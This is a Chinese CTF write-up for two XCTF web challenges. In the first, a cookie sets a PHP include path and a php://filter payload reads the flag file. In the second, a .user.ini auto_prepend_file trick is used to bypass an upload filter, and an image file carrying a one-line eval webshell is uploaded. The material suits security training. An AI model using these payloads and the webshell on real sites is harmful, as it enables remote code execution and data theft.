双剑破天门:攻防世界Web题解之独孤九剑心法(三)

#新星杯·14天创作挑战营·第10期#

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:攻防世界web-Fileinclude

二:攻防世界web-Easyupload

三:总结


一:攻防世界web-Fileinclude

打开为如下图所示

Flag在flag.php

我们查看源码发现如下

代码审计如下

<?php
// 检查是否开启了错误显示,如果没有,则开启
if( !ini_get('display_errors') ) {
    ini_set('display_errors', 'On');
}
// 设置错误报告级别为显示所有错误
error_reporting(E_ALL);

// 从 cookie 中获取语言设置
$lan = $_COOKIE['language'];

// 如果 cookie 中没有语言设置
if(!$lan) {
    // 设置默认语言为 english
    @setcookie("language","english");
    // 包含英文语言文件
    @include("english.php");
} else {
    // 如果有语言设置,包含对应的语言文件
    @include($lan.".php");
}

// 读取 index.php 文件的内容
$x = file_get_contents('index.php');
// 输出 index.php 文件的内容
echo $x;
?>

所以根据代码审计结果我们得知只有cookie中有相应的语言设置才能得到flag

但是检查发现没有cookie所以我们需要自行利用bp传cookie

构建payload=cookie:language=flag发现页面无输出,所以还是有问题

结合题目fileinclude我们可以试一试php伪协议

Payload:cookie:language=php://filter/read=convert.base64-encode/resource=flag

这里路径为flag而不是flag.php因为根据源代码知$lan=flag 在拼接后面.php才对

成功得到flag


二:攻防世界web-Easyupload

打开为文件上传

我们随便上传一个木马文件发现被干掉所以这里应该是过滤了php

所以我们利用fastcg中.user.ini特性进行任意命令执行

参考文章:.user.ini文件构成的PHP后门 - phith0n

添加如下内容

GIF89a
auto_prepend_file=a.jpg

然后利用bp抓包将这个文件上传记住要将Content-Type: application/octet-stream修改为
Content-Type: image/jpg

上传成功

然后将我们准备好的图片马修改为a.jpg我们试一试图片马看看能不能上传,我们现将php改掉

如果你没有图片马可以自行创建一个内容如下 

GIF89a

<?=eval($_REQUEST[c]);?>

修改后如下

 <?=eval($_REQUEST[cmd]);?>

上传成功,我们利用蚁剑连接

连接成功

成功拿到flag

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。


三:总结

PHP 伪协议是一组用于访问不同类型资源、执行代码等操作的特殊协议,可在文件包含等场景被利用;而 FastCGI 中的.user.ini 特性允许用户在特定目录下配置 PHP 运行时设置,若配置不当可能引发安全风险,被攻击者利用来执行恶意代码。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

评论 47
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值